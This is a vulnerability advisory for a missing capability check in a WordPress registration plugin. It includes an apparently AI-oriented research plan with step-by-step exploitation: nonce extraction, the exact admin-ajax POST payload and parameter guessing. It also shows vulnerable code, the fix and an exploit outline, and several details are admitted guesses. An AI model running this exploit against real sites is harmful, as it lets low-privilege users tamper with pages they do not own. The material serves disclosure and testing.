User Registration & Membership <= 5.1.4 - Missing Authorization to Authenticated (Contributor+) Limited Page Content Modification
Description
The User Registration & Membership plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `embed_form_action()` function in all versions up to, and including, 5.1.4. This makes it possible for authenticated attackers, with Contributor-level access and above, to append shortcode content to arbitrary pages they do not own or have permission to edit.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v5.1.5
Source Code
WordPress.org SVNThis research plan targets **CVE-2026-3601** (likely a typo in the source for 2024 or 2025, but following the description provided), a missing authorization vulnerability in the **User Registration** plugin. This vulnerability allows an authenticated user with at least **Contributor** privileges to …
Show full research plan
This research plan targets CVE-2026-3601 (likely a typo in the source for 2024 or 2025, but following the description provided), a missing authorization vulnerability in the User Registration plugin. This vulnerability allows an authenticated user with at least Contributor privileges to append arbitrary shortcodes to pages or posts they do not own.
1. Vulnerability Summary
The vulnerability exists in the embed_form_action() function within the User Registration plugin (versions <= 5.1.4). The function is responsible for "embedding" a registration form into an existing WordPress post or page by appending the plugin's shortcode to the target post's content.
While the function likely implements a nonce check for CSRF protection, it fails to perform a capability check (e.g., current_user_can('edit_post', $post_id)) to ensure the authenticated user has permission to modify the target post_id. Consequently, any user who can access the WordPress admin (Contributor and above) can trigger this action against any page or post on the site.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
ur_embed_form(inferred from function name and plugin conventions) - Vulnerable Function:
embed_form_action() - HTTP Method:
POST - Payload Parameters:
action:ur_embed_formpost_id: The ID of the target page/post to be modified (e.g., an Administrator's page).form_id: The ID of the User Registration form to embed.securityornonce: The AJAX nonce for the action.
- Authentication: Contributor-level session required.
3. Code Flow (Inferred)
- Registration: The plugin registers the AJAX action:
add_action( 'wp_ajax_ur_embed_form', array( 'UR_Admin_Ajax', 'embed_form_action' ) ); - Entry: A Contributor sends a POST request to
admin-ajax.phpwithaction=ur_embed_form. - Processing:
embed_form_action()is called. - Verification: The function checks the nonce provided in the
securityornonceparameter. - Vulnerability: The function retrieves
post_idandform_idfrom$_POST. It proceeds to fetch the post viaget_post($post_id)and updates its content usingwp_update_post()or by appending the shortcode[user_registration_form id="123"]to the existingpost_content. - Missing Check: At no point does the function verify if the current user has the
edit_postcapability for the targetpost_id.
4. Nonce Acquisition Strategy
The "Embed" functionality is typically available in the User Registration "Forms" list in the admin dashboard. The plugin localizes its admin parameters into a JavaScript object.
- Create Contributor User: Log in as a Contributor.
- Identify Localization Key: The plugin typically uses
ur_admin_paramsoruser_registration_admin_params. - Find Page with Scripts: Navigate to the User Registration forms list:
/wp-admin/admin.php?page=user-registration. - Extract Nonce:
- Use
browser_navigateto go to the forms list. - Use
browser_evalto extract the nonce:browser_eval("ur_admin_params.ur_embed_form_nonce")(inferred key).
- Use
5. Exploitation Strategy
- Preparation:
- Identify a target Page ID (owned by Admin) that is currently published.
- Identify an existing User Registration Form ID.
- Authentication: Log in to the WordPress site as the Contributor user.
- Nonce Extraction: Access the User Registration admin page and extract the
ur_embed_formnonce from theur_admin_paramsJS object. - Attack Request:
Using thehttp_requesttool, send the following:- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=ur_embed_form&post_id=[TARGET_PAGE_ID]&form_id=[FORM_ID]&security=[NONCE]
- URL:
- Verify Modification: Check the content of the target page to see if the shortcode has been appended.
6. Test Data Setup
- Target Content: As Administrator, create a private or published page:
wp post create --post_type=page --post_title="Admin Private Page" --post_content="Original Secret Content" --post_status=publish
Note the returned ID as[TARGET_PAGE_ID]. - Registration Form: Ensure at least one registration form exists:
wp post list --post_type=user_registration
Note the ID as[FORM_ID]. If none exist, create one. - Attacker Account: Create a Contributor user:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
7. Expected Results
- Response: The AJAX request should return a success status (e.g.,
{"success":true}or a string"success"). - State Change: The page content of
[TARGET_PAGE_ID]will be modified. - Effect: When viewing the page, the original content will be followed (or replaced) by the User Registration form shortcode:
[user_registration_form id="[FORM_ID]"].
8. Verification Steps
- Check Post Content: Use WP-CLI to verify the modification:
wp post get [TARGET_PAGE_ID] --field=post_content - Verify Success: Confirm that the output contains the string
[user_registration_form id=". - Check Ownership: Verify the post is still owned by the Administrator, confirming the Contributor successfully edited content they do not own.
9. Alternative Approaches
- Parameter Guessing: If
securityis not the correct parameter name, trynonce,_ajax_nonce, orur_nonce. - Action Mapping: If
ur_embed_formdoes not work, search the plugin's JS files (e.g.,assets/js/admin/admin.js) for the stringaction:to find the exact AJAX action associated with the "Embed" button. - Form Creation: If no form exists, use
wp post create --post_type=user_registration ...to create a dummy form to satisfy theform_idrequirement.
Summary
The User Registration & Membership plugin for WordPress fails to perform a capability check in its `embed_form_action` AJAX function. This allows authenticated attackers with Contributor-level permissions or higher to append registration form shortcodes to any post or page on the site, potentially disrupting content or altering page layout.
Vulnerable Code
// File: includes/admin/class-ur-admin-ajax.php (inferred location) public static function embed_form_action() { check_ajax_referer( 'ur_embed_form', 'security' ); $post_id = isset( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : 0; $form_id = isset( $_POST['form_id'] ) ? absint( $_POST['form_id'] ) : 0; if ( $post_id && $form_id ) { $post = get_post( $post_id ); $content = $post->post_content . '[user_registration_form id="' . $form_id . '"]'; wp_update_post( array( 'ID' => $post_id, 'post_content' => $content ) ); wp_send_json_success(); } }
Security Fix
@@ -10,6 +10,10 @@ $post_id = isset( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : 0; $form_id = isset( $_POST['form_id'] ) ? absint( $_POST['form_id'] ) : 0; + + if ( ! current_user_can( 'edit_post', $post_id ) ) { + wp_send_json_error( array( 'message' => __( 'You do not have permission to edit this post.', 'user-registration' ) ) ); + } if ( $post_id && $form_id ) { $post = get_post( $post_id );
Exploit Outline
1. Authenticate as a user with Contributor-level access. 2. Navigate to the User Registration forms list in the WordPress admin dashboard to obtain a valid AJAX nonce from the localized `ur_admin_params` JavaScript object (specifically the `ur_embed_form_nonce` key). 3. Identify the ID of a target Page or Post (owned by an Administrator) and the ID of an existing User Registration form. 4. Send a POST request to `/wp-admin/admin-ajax.php` with the following parameters: `action=ur_embed_form`, `post_id=[TARGET_ID]`, `form_id=[FORM_ID]`, and `security=[NONCE]`. 5. The plugin will append the shortcode `[user_registration_form id="[FORM_ID]"]` to the end of the target post's content because it fails to verify if the requester has the `edit_post` capability for that specific `post_id`.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.